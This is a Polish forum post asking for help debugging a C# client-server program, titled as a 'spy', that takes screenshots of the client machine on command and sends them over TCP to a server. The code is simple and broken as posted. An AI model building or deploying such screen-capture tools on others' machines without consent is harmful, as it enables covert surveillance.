[C#] Problem ze szpiegiem.

Dudix3

Użytkownik
Dołączył
Maj 16, 2011
Posty
4
Witam
Mam taki program typu klient serwer służący do przesyłania zrzutu ekranu. Problem w tym, że serwer nie chce wykryć klienta uruchomionego nawet na tym samym komputerze.

To jest kod klienta napisanego w C#:

Kod:
namespace Klient
{
    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
            IPHostEntry IPs = Dns.GetHostEntry(Dns.GetHostName());
            localIP = IPs.AddressList[0].ToString();
            backgroundWorker1.RunWorkerAsync();
        }

        private Bitmap makeScreenshot()
        {
            Bitmap bmp = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height, PixelFormat.Format32bppArgb);
            Graphics screenshot = Graphics.FromImage(bmp);
            screenshot.CopyFromScreen(Screen.PrimaryScreen.Bounds.X, Screen.PrimaryScreen.Bounds.Y, 0, 0, Screen.PrimaryScreen.Bounds.Size, CopyPixelOperation.SourceCopy);
            return bmp;
        }

        private int serverCommandPort = 2345;
        private IPAddress serverIP = IPAddress.Parse("127.0.0.1");
        private int serverDataPort = 26200;
        private string localIP = null;
        private Bitmap image;

        private void backgroundWorker1_DoWork(object sender, DoWorkEventArgs e)
        {
            TcpListener server = new TcpListener(IPAddress.Parse(localIP),serverCommandPort);
            server.Start();
            while (true)
            {
                TcpClient clientCommand = server.AcceptTcpClient();
                NetworkStream ns = clientCommand.GetStream();
                Byte[] b = new Byte[8];
                int read = ns.Read(b, 0, b.Length);
                string msg = Encoding.ASCII.GetString(b);
                if (msg == "##shot##")
                {
                    image = makeScreenshot();
                    MemoryStream ms = new MemoryStream();
                    image.Save(ms, ImageFormat.Jpeg);
                    byte[] imageByte = ms.GetBuffer();
                    ms.Close();
                    try
                    {
                        TcpClient client2 = new TcpClient(serverIP.ToString(),serverDataPort);
                        NetworkStream ns2 = client2.GetStream();
                        using (BinaryWriter bw = new BinaryWriter(ns2))
                        {
                            bw.Write((int)imageByte.Length);
                            bw.Write(imageByte);
                        }
                    }
                    catch
                    {
                        MessageBox.Show("Błąd");
                    }
                }
            }
        }

        private void SendMessageUDP(string msg)
        {
            UdpClient client = new UdpClient(serverIP.ToString(), 40482);
            byte[] b = Encoding.ASCII.GetBytes(msg);
            client.Send(b, b.Length);
            client.Close();
        }

        private void Form1_Load(object sender, EventArgs e)
        {
            SendMessageUDP(localIP + ":HI");
        }
        private void Form1_FormClosing(object sender, FormClosingEventArgs e)
        {
            SendMessageUDP(localIP + ":BYE");
        }
    }
}

A to serwer:
Kod:
namespace Serwer
{
    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
        }

        delegate void SetTextCallBack(string tekst);

        private void SetText(string tekst)
        {
            if (listBox1.InvokeRequired)
            {
                SetTextCallBack f = new SetTextCallBack(SetText);
                this.Invoke(f, new object[] { tekst });
            }
            else
            {
                this.listBox1.Items.Add(tekst);
            }
        }
        delegate void RemoveTextCallBack(int pozycja);
        private void RemoveText(int pozycja)
        {
            if (listBox1.InvokeRequired)
            {
                RemoveTextCallBack f = new RemoveTextCallBack(RemoveText);
                this.Invoke(f, new object[] { pozycja
});
            }
            else
            {
                listBox1.Items.RemoveAt(pozycja);
            }
        }

        private void backgroundWorker1_DoWork(object sender, DoWorkEventArgs e)
        {
            IPEndPoint hostIP = new IPEndPoint(IPAddress.Any, 0);
            UdpClient client = new UdpClient(40482);
            while (true)
            {
                Byte[] b = client.Receive(ref hostIP);
                string data = Encoding.ASCII.GetString(b);
                string[] cmd = data.Split(new char[] { ':' });
                if (cmd[1] == "HI")
                {
                    foreach (string s in listBox1.Items)
                        if (s == cmd[0])
                        {
                            MessageBox.Show("Próba nawiązania połączenia z " + cmd[0] + " odrzucona ponieważ na liście istnieje jużtaki wpis");
                            return;
                        }
                    this.SetText(cmd[0]);
                }
                if (cmd[1] == "BYE")
                {
                    for (int i = 0; i < listBox1.Items.Count; i++)
                        if (listBox1.Items[i].ToString() == cmd[0])
                            this.RemoveText(i);
                }
            }
        }

        private void button1_Click(object sender, EventArgs e)
        {
            if (listBox1.SelectedIndex == -1)
                return;
            try
            {
                TcpClient client = new TcpClient(listBox1.Items[listBox1.SelectedIndex].ToString(), 2345);
                NetworkStream ns = client.GetStream();
                byte[] b = new byte[8];
                b = Encoding.ASCII.GetBytes("screen");
                ns.Write(b, 0, b.Length);
                if (backgroundWorker2.IsBusy == false)
                    backgroundWorker2.RunWorkerAsync();
                else
                    MessageBox.Show("Nie można teraz zrealizować zrzutuekranu");
            }
            catch
            {
                MessageBox.Show("Błąd: Nie można nawiązać połączenia");
            }
        }

        private void backgroundWorker2_DoWork(object sender, DoWorkEventArgs e)
        {
            TcpListener server2 = new TcpListener(IPAddress.Parse(textBox1.Text), (int)numericUpDown1.Value);
            server2.Start();
            TcpClient client2 = server2.AcceptTcpClient();
            NetworkStream ns = client2.GetStream();
            byte[] imageByte;
            using (BinaryReader br = new BinaryReader(ns))
            {
                int imageSize = br.ReadInt32();
                imageByte = br.ReadBytes(imageSize);
            }
            using (MemoryStream ms = new MemoryStream(imageByte))
            {
                Image img = Image.FromStream(ms);
                pictureBox1.Image = img;
            }
            server2.Stop();
        }
    }
}

Problem polega na tym, że program nie wykrywa uruchomionego klienta, a według sprawdzonych połączeń jedynie klient nasłuc***e na porcie 2345, a serwer chodź powinien nie robi tego na porcie 40482.

Może ktoś wie co jest źle, bo wszystko się kompiluje, a interfejs graficzny posiada wymagane informacje o ip i porcie. Nie mam pojęcia gdzie popełniłem błąd.
 
Ostatnia edycja:
Do góry Bottom